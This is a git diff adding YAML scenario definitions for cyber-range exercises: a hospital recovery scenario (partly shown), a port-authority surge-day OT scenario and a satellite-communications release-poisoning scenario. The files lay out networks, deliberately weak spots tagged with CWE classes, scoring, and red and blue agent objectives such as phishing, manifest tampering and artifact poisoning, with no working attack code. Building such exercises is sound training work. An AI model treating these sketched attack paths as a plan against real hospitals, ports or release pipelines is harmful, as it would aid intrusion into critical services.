accounts: [helpdesk-user, vendor-tech] + allowed_subnets: [security-net, corp-it, vendor-segment] + reward_calculator: HybridAvailabilityConfidentiality + blue-ir-agent: + entity: hospital-blue.recovery + actions: [Contain, Restore, ReissueCreds, Validate] + starting_accounts: [backup-operator] + initial_knowledge: + hosts: [backup-vault, ehr-db, pacs01] + subnets: [backup-net, clinical-it] + services: [backup-api, backup-nfs, pacs-web-ui] + accounts: [svc-sql, backup-operator] + allowed_subnets: [backup-net, clinical-it, identity-net] + reward_calculator: RecoveryResilience + +objectives: + red-establish-foothold: + agent: red-initial + actions: [Phish, AbuseVPN] + targets: [vpn-gateway, exchange01, vpn-vendor-support-path] + success: + conditions: [vendor-session-established] + window: + stories: [surgery-day] + scripts: [pre-surgery] + events: [phishing-delivery] + red-stage-phi: + agent: red-operator + actions: [Pivot, Exfiltrate] + targets: [phi-records, ehr-to-database, ehr-db] + success: + conditions: [phi-staging-observed] + metrics: [red-phi-staging] + depends_on: [red-establish-foothold] + window: + stories: [surgery-day] + scripts: [live-clinic] + red-disrupt-radiology: + entity: ransom-crew + targets: [pacs01, radiology-images, pacs-sync-to-backup] + success: + goals: [ransom-crew-goal] + depends_on: [red-stage-phi] + window: + stories: [surgery-day] + scripts: [live-clinic] + events: [surgery-pressure] + blue-detect-and-triage: + agent: blue-soc-agent + actions: [Inspect, Triage, Escalate] + targets: [siem01, vpn-gateway, mail-gateway] + success: + conditions: [soc-pipeline-up, triage-case-submitted] + window: + stories: [surgery-day] + scripts: [pre-surgery, live-clinic] + blue-restore-clinical-services: + agent: blue-ir-agent + actions: [Contain, Restore, Validate] + targets: [backup-vault, ehr-db, pacs01, backup-manages-ehr] + success: + goals: [hospital-blue-goal] + metrics: [blue-backup-integrity] + depends_on: [blue-detect-and-triage, red-disrupt-radiology] + window: + stories: [surgery-day] + scripts: [recovery-window] diff --git a/examples/port-authority-surge-response.sdl.yaml b/examples/port-authority-surge-response.sdl.yaml new file mode 100644 index 000000000..a8b584a53 --- /dev/null +++ b/examples/port-authority-surge-response.sdl.yaml @@ -0,0 +1,618 @@ +name: port-authority-surge-response +description: > + Port authority surge-day exercise covering customs coordination, + manifest integrity, yard OT disruption, and blackstart-style recovery + of crane operations during a cargo spike. + +nodes: + public-edge: {type: Switch, description: Public shipping and partner ingress} + terminal-it: {type: Switch, description: Terminal operating systems and portal tier} + customs-link: {type: Switch, description: Customs and partner integration boundary} + yard-ot: {type: Switch, description: Yard control and PLC zone} + safety-net: {type: Switch, description: Safety and camera analytics zone} + vendor-net: {type: Switch, description: Vendor maintenance path} + security-net: {type: Switch, description: SOC monitoring network} + backup-net: {type: Switch, description: Historian and backup network} + + shipping-portal: + type: VM + os: linux + source: portal-app + resources: {ram: 4 gib, cpu: 2} + features: {shipping-portal-app: portal-admin} + conditions: {portal-healthy: portal-admin} + services: + - {port: 443, name: shipping-portal-https} + roles: + portal-admin: + username: portal + entities: [port-blue.it] + + manifest-db: + type: VM + os: linux + source: manifest-db + resources: {ram: 8 gib, cpu: 4} + features: {manifest-store: dba} + conditions: + manifest-integrity-ok: dba + tampered-manifest-observed: dba + services: + - {port: 5432, name: manifest-postgres} + roles: + dba: + username: postgres + entities: [port-blue.it] + asset_value: + integrity: critical + availability: high + + terminal-ops: + type: VM + os: linux + source: terminal-operating-system + resources: {ram: 6 gib, cpu: 4} + features: {terminal-service: tos-admin} + conditions: {terminal-throughput-healthy: tos-admin} + services: + - {port: 443, name: tos-https} + roles: + tos-admin: + username: tosadmin + entities: [port-blue.it] + + port-idp: + type: VM + os: linux + source: port-idp + resources: {ram: 2 gib, cpu: 1} + features: {port-sso: idp-admin} + conditions: {port-sso-healthy: idp-admin} + services: + - {port: 443, name: port-sso-https} + roles: + idp-admin: + username: idpadmin + entities: [port-blue.it] + + customs-gateway: + type: VM + os: linux + source: customs-gateway + resources: {ram: 2 gib, cpu: 2} + features: {customs-api: customs-admin} + conditions: {customs-link-healthy: customs-admin} + services: + - {port: 443, name: customs-api-https} + roles: + customs-admin: + username: customs + entities: [customs-agency] + + yard-hmi: + type: VM + os: windows + os_version: "10" + source: yard-hmi + resources: {ram: 4 gib, cpu: 2} + features: {yard-hmi-app: hmi-admin} + conditions: + crane-safe-mode: hmi-admin + operator-visibility-healthy: hmi-admin + services: + - {port: 3389, name: yard-hmi-rdp} + - {port: 443, name: yard-hmi-web} + roles: + hmi-admin: + username: craneops + entities: [port-blue.yard-ops] + asset_value: + integrity: critical + availability: critical + + crane-plc: + type: VM + os: other + source: crane-plc + resources: {ram: 512 mib, cpu: 1} + features: {crane-control: plc-admin} + conditions: {crane-plc-online: plc-admin} + services: + - {port: 4840, name: crane-opcua} + roles: {plc-admin: plcsvc} + + gate-kiosk: + type: VM + os: windows + os_version: "11" + source: gate-kiosk + resources: {ram: 2 gib, cpu: 1} + conditions: {gate-processing-healthy: kiosk-admin} + services: + - {port: 443, name: gate-kiosk-https} + roles: {kiosk-admin: kiosk} + + camera-analytics: + type: VM + os: linux + source: camera-analytics + resources: {ram: 4 gib, cpu: 2} + features: {camera-ai: camera-admin} + conditions: {camera-analytics-healthy: camera-admin} + services: + - {port: 443, name: camera-analytics-ui} + roles: + camera-admin: + username: camera + entities: [port-blue.yard-ops] + + historian01: + type: VM + os: linux + source: ot-historian + resources: {ram: 4 gib, cpu: 2} + features: {historian-service: historian-admin} + conditions: + yard-telemetry-flowing: historian-admin + historian-replication-ok: historian-admin + services: + - {port: 443, name: historian-ui} + roles: {historian-admin: historian} + + vendor-jump: + type: VM + os: linux + source: vendor-jump + resources: {ram: 2 gib, cpu: 1} + conditions: {vendor-jump-healthy: vendor-admin} + services: + - {port: 22, name: vendor-jump-ssh} + roles: + vendor-admin: + username: vendor + entities: [vendor-maintenance] + + soc01: + type: VM + os: linux + source: siem-stack + resources: {ram: 8 gib, cpu: 4} + features: + port-siem: soc-admin + yard-edr: soc-admin + conditions: + soc-feed-healthy: soc-admin + surge-incident-ticketed: soc-admin + services: + - {port: 5601, name: port-soc-ui} + roles: + soc-admin: + username: soc + entities: [port-blue.incident-command] + + backup-vault: + type: VM + os: linux + source: immutable-backup + resources: {ram: 4 gib, cpu: 2} + features: {yard-backup: backup-admin} + conditions: {blackstart-runbook-ready: backup-admin} + services: + - {port: 443, name: yard-backup-ui} + roles: + backup-admin: + username: backup + entities: [port-blue.incident-command] + +infrastructure: + public-edge: + count: 1 + properties: {cidr: 10.110.0.0/24, gateway: 10.110.0.1} + terminal-it: + count: 1 + properties: {cidr: 10.110.1.0/24, gateway: 10.110.1.1, internal: true} + customs-link: + count: 1 + properties: {cidr: 10.110.2.0/24, gateway: 10.110.2.1} + yard-ot: + count: 1 + properties: {cidr: 10.110.3.0/24, gateway: 10.110.3.1, internal: true} + acls: + - {direction: in, from_net: terminal-it, protocol: tcp, ports: [443, 4840], action: allow} + - {direction: in, from_net: public-edge, action: deny} + safety-net: + count: 1 + properties: {cidr: 10.110.4.0/24, gateway: 10.110.4.1, internal: true} + vendor-net: + count: 1 + properties: {cidr: 10.110.5.0/24, gateway: 10.110.5.1, internal: true} + security-net: + count: 1 + properties: {cidr: 10.110.6.0/24, gateway: 10.110.6.1, internal: true} + backup-net: + count: 1 + properties: {cidr: 10.110.7.0/24, gateway: 10.110.7.1, internal: true} + + shipping-portal: {count: 1, links: [public-edge, terminal-it, customs-link]} + manifest-db: + count: 1 + links: [terminal-it, backup-net] + dependencies: [backup-vault] + terminal-ops: + count: 1 + links: [terminal-it, customs-link, yard-ot] + dependencies: [manifest-db, port-idp] + port-idp: {count: 1, links: [terminal-it, customs-link]} + customs-gateway: {count: 1, links: [customs-link, terminal-it]} + yard-hmi: + count: 1 + links: [yard-ot, safety-net] + dependencies: [terminal-ops] + crane-plc: + count: 1 + links: [yard-ot] + gate-kiosk: {count: 1, links: [terminal-it]} + camera-analytics: {count: 1, links: [safety-net, security-net]} + historian01: + count: 1 + links: [yard-ot, backup-net] + dependencies: [backup-vault] + vendor-jump: {count: 1, links: [vendor-net, yard-ot]} + soc01: {count: 1, links: [security-net, terminal-it]} + backup-vault: {count: 1, links: [backup-net, security-net]} + +features: + shipping-portal-app: {type: Service, source: react-portal} + manifest-store: {type: Service, source: postgres-15} + terminal-service: {type: Service, source: tos-core} + port-sso: {type: Service, source: keycloak} + customs-api: {type: Service, source: customs-rest-bridge} + yard-hmi-app: {type: Service, source: yard-hmi} + crane-control: {type: Service, source: crane-plc} + camera-ai: {type: Service, source: vision-analytics} + historian-service: {type: Service, source: historian} + port-siem: {type: Service, source: wazuh-elastic-stack} + yard-edr: {type: Artifact, source: yard-edr-agent, destination: /opt/edr} + yard-backup: {type: Service, source: immutable-backup} + +conditions: + portal-healthy: {command: /usr/local/bin/check-portal, interval: 30} + manifest-integrity-ok: {command: /usr/local/bin/check-manifest-integrity, interval: 30} + tampered-manifest-observed: {command: /usr/local/bin/check-tampered-manifest, interval: 60} + terminal-throughput-healthy: {command: /usr/local/bin/check-terminal-throughput, interval: 30} + port-sso-healthy: {command: /usr/local/bin/check-port-sso, interval: 30} + customs-link-healthy: {command: /usr/local/bin/check-customs-link, interval: 30} + crane-safe-mode: {command: /usr/local/bin/check-crane-safe-mode, interval: 15} + operator-visibility-healthy: {command: /usr/local/bin/check-operator-visibility, interval: 30} + crane-plc-online: {command: /usr/local/bin/check-crane-plc, interval: 15} + gate-processing-healthy: {command: /usr/local/bin/check-gate-processing, interval: 30} + camera-analytics-healthy: {command: /usr/local/bin/check-camera-analytics, interval: 30} + yard-telemetry-flowing: {command: /usr/local/bin/check-yard-telemetry, interval: 15} + historian-replication-ok: {command: /usr/local/bin/check-historian-replication, interval: 30} + vendor-jump-healthy: {command: /usr/local/bin/check-vendor-jump, interval: 30} + soc-feed-healthy: {command: /usr/local/bin/check-soc-feed, interval: 30} + surge-incident-ticketed: {command: /usr/local/bin/check-surge-ticket, interval: 60} + blackstart-runbook-ready: {command: /usr/local/bin/check-blackstart-runbook, interval: 60} + +vulnerabilities: + stale-customs-token: + name: Stale customs federation token + description: Customs bridge accepts tokens beyond intended lifetime during surge conditions + technical: true + class: CWE-613 + vendor-vpn-cred-reuse: + name: Vendor credential reuse + description: Shared maintenance credentials allow reuse from the jump host + technical: true + class: CWE-521 + flat-yard-trust: + name: Flat yard trust + description: Yard HMI can directly manage crane PLC without an approval gate + technical: true + class: CWE-306 + +metrics: + blue-customs-integrity: + type: CONDITIONAL + max-score: 100 + condition: manifest-integrity-ok + blue-yard-safety: + type: CONDITIONAL + max-score: 100 + condition: crane-safe-mode + blue-telemetry-retention: + type: CONDITIONAL + max-score: 100 + condition: yard-telemetry-flowing + blue-ops-brief: + type: MANUAL + max-score: 50 + artifact: true + red-manifest-impact: + type: CONDITIONAL + max-score: 100 + condition: tampered-manifest-observed + +evaluations: + blue-surge-resilience: + metrics: [blue-customs-integrity, blue-yard-safety, blue-telemetry-retention, blue-ops-brief] + min-score: 75 + red-yard-impact: + metrics: [red-manifest-impact] + min-score: {absolute: 80} + +tlos: + sustain-safe-throughput: + name: Sustain safe throughput + evaluation: blue-surge-resilience + achieve-yard-disruption: + name: Achieve yard disruption + evaluation: red-yard-impact + +goals: + port-blue-goal: + tlos: [sustain-safe-throughput] + red-cartel-goal: + tlos: [achieve-yard-disruption] + +entities: + port-blue: + name: Port Authority Blue Team + role: Blue + mission: Maintain customs integrity and safe yard operations during the surge + tlos: [sustain-safe-throughput] + entities: + it: + name: Port IT + yard-ops: + name: Yard Operations + incident-command: + name: Incident Command + customs-agency: + name: Customs Agency + role: Green + mission: Clear inbound cargo without compromising compliance + vendor-maintenance: + name: Vendor Maintenance + role: Green + mission: Maintain remote support path for crane systems + red-cartel: + name: Red Cartel + role: Red + mission: Corrupt manifests and degrade crane operations + white-cell: + name: White Cell + role: White + +injects: + surge-brief: + source: surge-day-brief + from_entity: white-cell + to_entities: [port-blue, customs-agency] + description: Cargo surge and priority humanitarian shipments announced + customs-priority-ticket: + source: customs-priority-ticket + from_entity: customs-agency + to_entities: [port-blue] + description: High-priority manifest validation request + safety-standdown: + source: safety-standdown-order + from_entity: white-cell + to_entities: [port-blue, vendor-maintenance] + description: Crane anomalies trigger a safety standdown + +events: + vessel-arrival: + injects: [surge-brief] + customs-surge-event: + injects: [customs-priority-ticket] + yard-standdown: + conditions: [tampered-manifest-observed] + injects: [safety-standdown] + +scripts: + arrival-phase: + start-time: 0 + end-time: 2 hour + speed: 1 + events: + vessel-arrival: 15 min + customs-surge-phase: + start-time: 2 hour + end-time: 4 hour + speed: 1 + events: + customs-surge-event: 150 min + yard-disruption-phase: + start-time: 4 hour + end-time: 7 hour + speed: 1 + events: + yard-standdown: 5 hour + +stories: + surge-day: + scripts: [arrival-phase, customs-surge-phase, yard-disruption-phase] + +content: + cargo-manifests: + type: dataset + target: manifest-db + format: csv + source: cargo-manifest-seed + sensitive: true + hazmat-list: + type: file + target: terminal-ops + path: /srv/tos/hazmat-list.csv + text: "container_id,classification\\nHZ-204,flammable\\nHZ-991,oxidizer" + sensitive: true + customs-holds: + type: dataset + target: customs-gateway + format: json + items: + - name: hold-HZ-204.json + tags: [customs, hold] + description: Hold order for hazardous container HZ-204 + - name: hold-HZ-991.json + tags: [customs, hold] + description: Hold order for hazardous container HZ-991 + yard-camera-clips: + type: dataset + target: camera-analytics + format: mp4 + source: yard-camera-clip-seed + sensitive: true + blackstart-runbook: + type: file + target: backup-vault + path: /srv/runbooks/yard-blackstart.md + text: "Re-establish historian, validate PLC, then return HMI to service." + sensitive: true + +accounts: + harbor-master: + username: harbor.master + node: terminal-ops + groups: [Operations] + password_strength: strong + customs-officer: + username: customs.officer + node: customs-gateway + groups: [Customs] + password_strength: strong + crane-operator: + username: crane.ops + node: yard-hmi + groups: [YardOps] + password_strength: medium + vendor-tech: + username: vendor + node: vendor-jump + groups: [Vendors] + password_strength: medium + tos-service: + username: tos_svc + node: terminal-ops + groups: [AppServices] + password_strength: weak + historian-svc: + username: hist_svc + node: historian01 + groups: [Historian] + password_strength: medium + soc-analyst: + username: socanalyst + node: soc01 + groups: [SOC] + password_strength: strong + +relationships: + portal-to-manifest: + type: connects_to + source: shipping-portal-app + target: manifest-store + properties: {protocol: "tcp", port: "5432"} + terminal-auth-portidp: + type: authenticates_with + source: terminal-service + target: port-sso + customs-federates-port: + type: federates_with + source: customs-api + target: port-sso + properties: {protocol: "OIDC"} + hmi-manages-crane: + type: manages + source: yard-hmi-app + target: crane-control + historian-replicates-backup: + type: replicates_to + source: historian-service + target: yard-backup + vendor-support-path: + type: authenticates_with + source: vendor-tech + target: yard-hmi + terminal-depends-customs: + type: depends_on + source: terminal-service + target: customs-api + +agents: + red-yard-agent: + entity: red-cartel + actions: [Phish, Tamper, Disable, Pivot] + initial_knowledge: + hosts: [shipping-portal, vendor-jump, yard-hmi] + subnets: [public-edge, vendor-net, yard-ot] + services: [shipping-portal-https, vendor-jump-ssh, yard-hmi-web] + accounts: [vendor-tech] + allowed_subnets: [public-edge, vendor-net, yard-ot, terminal-it] + reward_calculator: OTImpact + blue-yard-agent: + entity: port-blue.yard-ops + actions: [Inspect, Isolate, Restore, Validate] + starting_accounts: [crane-operator] + initial_knowledge: + hosts: [yard-hmi, crane-plc, historian01] + subnets: [yard-ot, backup-net, safety-net] + services: [yard-hmi-rdp, crane-opcua, historian-ui] + accounts: [historian-svc] + allowed_subnets: [yard-ot, safety-net, backup-net] + reward_calculator: SafetyFirst + blue-soc-agent: + entity: port-blue.incident-command + actions: [Monitor, Triage, Coordinate, Recover] + starting_accounts: [soc-analyst] + initial_knowledge: + hosts: [soc01, shipping-portal, terminal-ops] + subnets: [security-net, terminal-it] + services: [port-soc-ui, shipping-portal-https, tos-https] + accounts: [harbor-master, customs-officer] + allowed_subnets: [security-net, terminal-it, customs-link, backup-net] + reward_calculator: CoordinatedResponse + +objectives: + red-corrupt-manifests: + agent: red-yard-agent + actions: [Phish, Tamper] + targets: [cargo-manifests, manifest-db, portal-to-manifest] + success: + conditions: [tampered-manifest-observed] + metrics: [red-manifest-impact] + window: + stories: [surge-day] + scripts: [arrival-phase, customs-surge-phase] + red-degrade-yard-ops: + entity: red-cartel + targets: [yard-hmi, crane-plc, hmi-manages-crane] + success: + goals: [red-cartel-goal] + depends_on: [red-corrupt-manifests] + window: + stories: [surge-day] + scripts: [yard-disruption-phase] + events: [yard-standdown] + blue-maintain-customs-integrity: + agent: blue-soc-agent + actions: [Monitor, Triage, Coordinate] + targets: [customs-gateway, manifest-db, customs-federates-port] + success: + metrics: [blue-customs-integrity] + conditions: [customs-link-healthy] + window: + stories: [surge-day] + scripts: [arrival-phase, customs-surge-phase] + blue-blackstart-yard: + agent: blue-yard-agent + actions: [Inspect, Isolate, Restore, Validate] + targets: [backup-vault, historian01, yard-hmi, historian-replicates-backup] + success: + goals: [port-blue-goal] + depends_on: [blue-maintain-customs-integrity, red-degrade-yard-ops] + window: + stories: [surge-day] + scripts: [yard-disruption-phase] + events: [yard-standdown] diff --git a/examples/satcom-release-poisoning.sdl.yaml b/examples/satcom-release-poisoning.sdl.yaml new file mode 100644 index 000000000..9662f8537 --- /dev/null +++ b/examples/satcom-release-poisoning.sdl.yaml @@ -0,0 +1,681 @@ +name: satcom-release-poisoning +description: > + Hybrid supply-chain exercise for a satellite communications platform. + The scenario models build compromise, signed artifact poisoning, + release promotion, tenant isolation risk, and rollback under live + telemetry pressure. + +variables: + release_story_speed: + type: number + default: 1.25 + description: Playback speed for the release-day story + canary_cutover: + type: string + default: "45 min" + description: When canary promotion begins + rollback_deadline: + type: string + default: "6 hour" + description: Time by which rollback should be complete + +nodes: + internet-edge: {type: Switch, description: Public and partner ingress} + corp-eng: {type: Switch, description: Engineering workstations and forge access} + build-net: {type: Switch, description: CI runner and registry network} + control-net: {type: Switch, description: Satellite control plane} + edge-net: {type: Switch, description: Regional edge gateways} + telemetry-net: {type: Switch, description: Telemetry collection and streaming} + federation-net: {type: Switch, description: Customer and vendor federation boundary} + security-net: {type: Switch, description: Monitoring and response systems} + + git-forge: + type: VM + os: linux + source: git-forge + resources: {ram: 4 gib, cpu: 2} + features: {git-service: forge-admin} + conditions: {repo-integrity-healthy: forge-admin} + services: + - {port: 443, name: forge-https} + - {port: 22, name: forge-ssh} + roles: + forge-admin: + username: forgeadmin + entities: [platform-blue.release-engineering] + + ci-runner: + type: VM + os: linux + source: ci-runner + resources: {ram: 4 gib, cpu: 4} + features: {ci-orchestrator: ci-admin} + conditions: + pipeline-green: ci-admin + rogue-release-promoted: ci-admin + services: + - {port: 443, name: ci-api} + - {port: 2222, name: ci-ssh} + roles: + ci-admin: + username: gitlab-runner + + artifact-registry: + type: VM + os: linux + source: artifact-registry + resources: {ram: 4 gib, cpu: 2} + features: {release-registry: registry-admin} + conditions: + release-signature-valid: registry-admin + rollback-package-ready: registry-admin + services: + - {port: 5000, name: registry-api} + - {port: 443, name: registry-ui} + roles: + registry-admin: + username: registry + entities: [platform-blue.release-engineering] + + signing-hsm: + type: VM + os: linux + source: signing-service + resources: {ram: 2 gib, cpu: 2} + features: {signing-service: signing-admin} + conditions: {signing-health: signing-admin} + services: + - {port: 8443, name: signing-api} + roles: {signing-admin: signer} + + control-api: + type: VM + os: linux + source: satcom-control-plane + resources: {ram: 6 gib, cpu: 4} + features: {satcom-control: control-admin} + conditions: + control-plane-healthy: control-admin + rollback-complete: control-admin + services: + - {port: 443, name: control-api} + - {port: 8444, name: control-admin-ui} + roles: + control-admin: + username: satops + entities: [platform-blue.sre] + asset_value: + integrity: critical + availability: critical + + edge-gateway-east: + type: VM + os: linux + source: satcom-edge + resources: {ram: 2 gib, cpu: 2} + features: {edge-agent-east: edge-admin} + conditions: + edge-east-healthy: edge-admin + edge-east-poisoned: edge-admin + services: + - {port: 443, name: edge-east-api} + roles: {edge-admin: edgeeast} + + edge-gateway-west: + type: VM + os: linux + source: satcom-edge + resources: {ram: 2 gib, cpu: 2} + features: {edge-agent-west: edge-admin} + conditions: + edge-west-healthy: edge-admin + edge-west-poisoned: edge-admin + services: + - {port: 443, name: edge-west-api} + roles: {edge-admin: edgewest} + + telemetry-broker: + type: VM + os: linux + source: kafka-broker + resources: {ram: 4 gib, cpu: 2} + features: {telemetry-bus: telemetry-admin} + conditions: {telemetry-flowing: telemetry-admin} + services: + - {port: 9092, name: telemetry-kafka} + - {port: 443, name: telemetry-ui} + roles: {telemetry-admin: telemetry} + + analytics-lake: + type: VM + os: linux + source: analytics-lake + resources: {ram: 4 gib, cpu: 2} + features: {analytics-store: lake-admin} + conditions: {analytics-ingest-healthy: lake-admin} + services: + - {port: 443, name: analytics-ui} + roles: {lake-admin: lake} + + customer-portal: + type: VM + os: linux + source: customer-portal + resources: {ram: 4 gib, cpu: 2} + features: {customer-portal-app: portal-admin} + conditions: + tenant-isolation-healthy: portal-admin + portal-sso-healthy: portal-admin + services: + - {port: 443, name: portal-https} + roles: + portal-admin: + username: portal + entities: [platform-blue.release-engineering] + + support-bastion: + type: VM + os: linux + source: support-bastion + resources: {ram: 2 gib, cpu: 2} + conditions: {support-bastion-online: support-admin} + services: + - {port: 22, name: bastion-ssh} + - {port: 443, name: bastion-web} + roles: + support-admin: + username: support + entities: [vendor-ops] + + siem01: + type: VM + os: linux + source: siem-stack + resources: {ram: 8 gib, cpu: 4} + features: + siem-core: soc-admin + release-edr: soc-admin + conditions: + security-pipeline-healthy: soc-admin + release-incident-ticketed: soc-admin + services: + - {port: 5601, name: release-soc-ui} + roles: + soc-admin: + username: socadmin + entities: [platform-blue.soc] + + vendor-idp: + type: VM + os: linux + source: vendor-idp + resources: {ram: 2 gib, cpu: 1} + features: {vendor-sso: idp-admin} + conditions: {vendor-federation-healthy: idp-admin} + services: + - {port: 443, name: vendor-idp-https} + roles: {idp-admin: vendorauth} + + customer-idp: + type: VM + os: linux + source: customer-idp + resources: {ram: 2 gib, cpu: 1} + features: {customer-sso: idp-admin} + conditions: {customer-federation-healthy: idp-admin} + services: + - {port: 443, name: customer-idp-https} + roles: {idp-admin: customerauth} + +infrastructure: + internet-edge: + count: 1 + properties: {cidr: 10.90.0.0/24, gateway: 10.90.0.1} + corp-eng: + count: 1 + properties: {cidr: 10.90.1.0/24, gateway: 10.90.1.1, internal: true} + build-net: + count: 1 + properties: {cidr: 10.90.2.0/24, gateway: 10.90.2.1, internal: true} + acls: + - {direction: in, from_net: corp-eng, protocol: tcp, ports: [22, 443, 5000], action: allow} + - {direction: in, from_net: internet-edge, action: deny} + control-net: + count: 1 + properties: {cidr: 10.90.3.0/24, gateway: 10.90.3.1, internal: true} + edge-net: + count: 1 + properties: {cidr: 10.90.4.0/24, gateway: 10.90.4.1, internal: true} + telemetry-net: + count: 1 + properties: {cidr: 10.90.5.0/24, gateway: 10.90.5.1, internal: true} + federation-net: + count: 1 + properties: {cidr: 10.90.6.0/24, gateway: 10.90.6.1} + security-net: + count: 1 + properties: {cidr: 10.90.7.0/24, gateway: 10.90.7.1, internal: true} + + git-forge: {count: 1, links: [corp-eng, build-net]} + ci-runner: + count: 1 + links: [build-net, security-net] + dependencies: [git-forge, artifact-registry] + artifact-registry: + count: 1 + links: [build-net, control-net] + dependencies: [signing-hsm] + signing-hsm: {count: 1, links: [build-net]} + control-api: + count: 1 + links: [control-net, edge-net, telemetry-net] + dependencies: [artifact-registry, telemetry-broker] + edge-gateway-east: + count: 1 + links: [edge-net, telemetry-net] + dependencies: [control-api] + edge-gateway-west: + count: 1 + links: [edge-net, telemetry-net] + dependencies: [control-api] + telemetry-broker: + count: 1 + links: [telemetry-net, security-net] + dependencies: [analytics-lake] + analytics-lake: {count: 1, links: [telemetry-net]} + customer-portal: + count: 1 + links: [internet-edge, federation-net, control-net] + dependencies: [vendor-idp, customer-idp] + support-bastion: + count: 1 + links: [internet-edge, federation-net, control-net] + siem01: {count: 1, links: [security-net, corp-eng]} + vendor-idp: {count: 1, links: [federation-net]} + customer-idp: {count: 1, links: [federation-net]} + +features: + git-service: {type: Service, source: gitea-enterprise} + ci-orchestrator: {type: Service, source: gitlab-runner} + release-registry: {type: Service, source: harbor-registry} + signing-service: {type: Service, source: notation-signer} + satcom-control: {type: Service, source: satcom-control-api} + edge-agent-east: {type: Service, source: edge-control-agent} + edge-agent-west: {type: Service, source: edge-control-agent} + telemetry-bus: {type: Service, source: kafka} + analytics-store: {type: Service, source: parquet-lake} + customer-portal-app: {type: Service, source: tenant-portal} + siem-core: {type: Service, source: wazuh-elastic-stack} + release-edr: {type: Artifact, source: release-edr-agent, destination: /opt/edr} + vendor-sso: {type: Service, source: vendor-idp} + customer-sso: {type: Service, source: customer-idp} + +conditions: + repo-integrity-healthy: {command: /usr/local/bin/check-repo-integrity, interval: 30} + pipeline-green: {command: /usr/local/bin/check-pipeline, interval: 30} + rogue-release-promoted: {command: /usr/local/bin/check-rogue-release, interval: 60} + release-signature-valid: {command: /usr/local/bin/check-release-signature, interval: 30} + rollback-package-ready: {command: /usr/local/bin/check-rollback-package, interval: 60} + signing-health: {command: /usr/local/bin/check-signing-service, interval: 30} + control-plane-healthy: {command: /usr/local/bin/check-control-plane, interval: 15} + rollback-complete: {command: /usr/local/bin/check-rollback-complete, interval: 60} + edge-east-healthy: {command: /usr/local/bin/check-edge-east, interval: 30} + edge-east-poisoned: {command: /usr/local/bin/check-edge-east-poisoned, interval: 60} + edge-west-healthy: {command: /usr/local/bin/check-edge-west, interval: 30} + edge-west-poisoned: {command: /usr/local/bin/check-edge-west-poisoned, interval: 60} + telemetry-flowing: {command: /usr/local/bin/check-telemetry, interval: 15} + analytics-ingest-healthy: {command: /usr/local/bin/check-analytics-ingest, interval: 30} + tenant-isolation-healthy: {command: /usr/local/bin/check-tenant-isolation, interval: 30} + portal-sso-healthy: {command: /usr/local/bin/check-portal-sso, interval: 30} + support-bastion-online: {command: /usr/local/bin/check-support-bastion, interval: 30} + security-pipeline-healthy: {command: /usr/local/bin/check-security-pipeline, interval: 30} + release-incident-ticketed: {command: /usr/local/bin/check-incident-ticket, interval: 60} + vendor-federation-healthy: {command: /usr/local/bin/check-vendor-federation, interval: 30} + customer-federation-healthy: {command: /usr/local/bin/check-customer-federation, interval: 30} + +vulnerabilities: + runner-token-reuse: + name: Runner token reuse + description: Long-lived CI token can be replayed from a compromised build workspace + technical: true + class: CWE-798 + overbroad-registry-cred: + name: Overbroad registry credential + description: Registry service credential can both publish and promote artifacts + technical: true + class: CWE-266 + bastion-sudo-gap: + name: Bastion sudo gap + description: Support bastion grants overly broad sudo access during incidents + technical: true + class: CWE-250 + oidc-trust-drift: + name: OIDC trust drift + description: Customer portal accepts stale trust metadata from partner IdPs + technical: true + class: CWE-345 + +metrics: + blue-release-signing: + type: CONDITIONAL + max-score: 100 + condition: release-signature-valid + blue-telemetry-availability: + type: CONDITIONAL + max-score: 100 + condition: telemetry-flowing + blue-tenant-isolation: + type: CONDITIONAL + max-score: 100 + condition: tenant-isolation-healthy + blue-rollback-report: + type: MANUAL + max-score: 50 + artifact: true + red-release-poisoning: + type: CONDITIONAL + max-score: 100 + condition: rogue-release-promoted + red-edge-compromise: + type: CONDITIONAL + max-score: 100 + condition: edge-east-poisoned + +evaluations: + blue-release-resilience: + metrics: [blue-release-signing, blue-telemetry-availability, blue-tenant-isolation, blue-rollback-report] + min-score: 75 + red-propagation: + metrics: [red-release-poisoning, red-edge-compromise] + min-score: {percentage: 75} + +tlos: + preserve-release-integrity: + name: Preserve release integrity + evaluation: blue-release-resilience + achieve-poisoned-propagation: + name: Achieve poisoned propagation + evaluation: red-propagation + +goals: + platform-blue-goal: + tlos: [preserve-release-integrity] + supply-chain-red-goal: + tlos: [achieve-poisoned-propagation] + +entities: + platform-blue: + name: Platform Blue Team + role: Blue + mission: Deliver a trusted release while maintaining customer service continuity + tlos: [preserve-release-integrity] + entities: + release-engineering: + name: Release Engineering + sre: + name: Site Reliability Engineering + soc: + name: Security Operations + vendor-ops: + name: Vendor Operations + role: Green + mission: Provide support access for customer escalations + customer-ops: + name: Customer Operations + role: Green + mission: Monitor service continuity and tenant isolation + red-supply-chain: + name: Red Supply Chain Team + role: Red + mission: Poison the rollout and survive long enough to reach an edge region + white-cell: + name: White Cell + role: White + +injects: + release-freeze-brief: + source: release-freeze-brief + from_entity: white-cell + to_entities: [platform-blue] + description: Release engineering is notified of a planned promotion window + customer-telemetry-ticket: + source: telemetry-ticket + from_entity: customer-ops + to_entities: [platform-blue] + description: Customer reports delayed telemetry from a canary region + exec-rollback-brief: + source: rollback-order + from_entity: white-cell + to_entities: [platform-blue, vendor-ops] + description: Leadership orders a verified rollback before customer impact spreads + +events: + freeze-window: + injects: [release-freeze-brief] + canary-cutover-event: + conditions: [rogue-release-promoted] + injects: [customer-telemetry-ticket] + rollback-order-event: + conditions: [edge-east-poisoned] + injects: [exec-rollback-brief] + +scripts: + release-prep: + start-time: 0 + end-time: 2 hour + speed: ${release_story_speed} + events: + freeze-window: 10 min + canary-rollout: + start-time: 2 hour + end-time: 4 hour + speed: ${release_story_speed} + events: + canary-cutover-event: ${canary_cutover} + incident-rollback: + start-time: 4 hour + end-time: ${rollback_deadline} + speed: ${release_story_speed} + events: + rollback-order-event: 5 hour + +stories: + release-day: + speed: ${release_story_speed} + scripts: [release-prep, canary-rollout, incident-rollback] + +content: + release-manifest: + type: file + target: artifact-registry + path: /srv/releases/manifest.json + text: '{"ring":"canary","signed":true,"region":"east"}' + sensitive: true + golden-edge-config: + type: directory + target: control-api + destination: /srv/control/golden-configs + sensitive: true + tenant-api-keys: + type: dataset + target: customer-portal + format: json + source: tenant-api-key-seed + sensitive: true + rollback-playbooks: + type: dataset + target: analytics-lake + format: markdown + items: + - name: canary-rollback.md + tags: [rollback, release] + description: Canary rollback checklist + - name: edge-validation.md 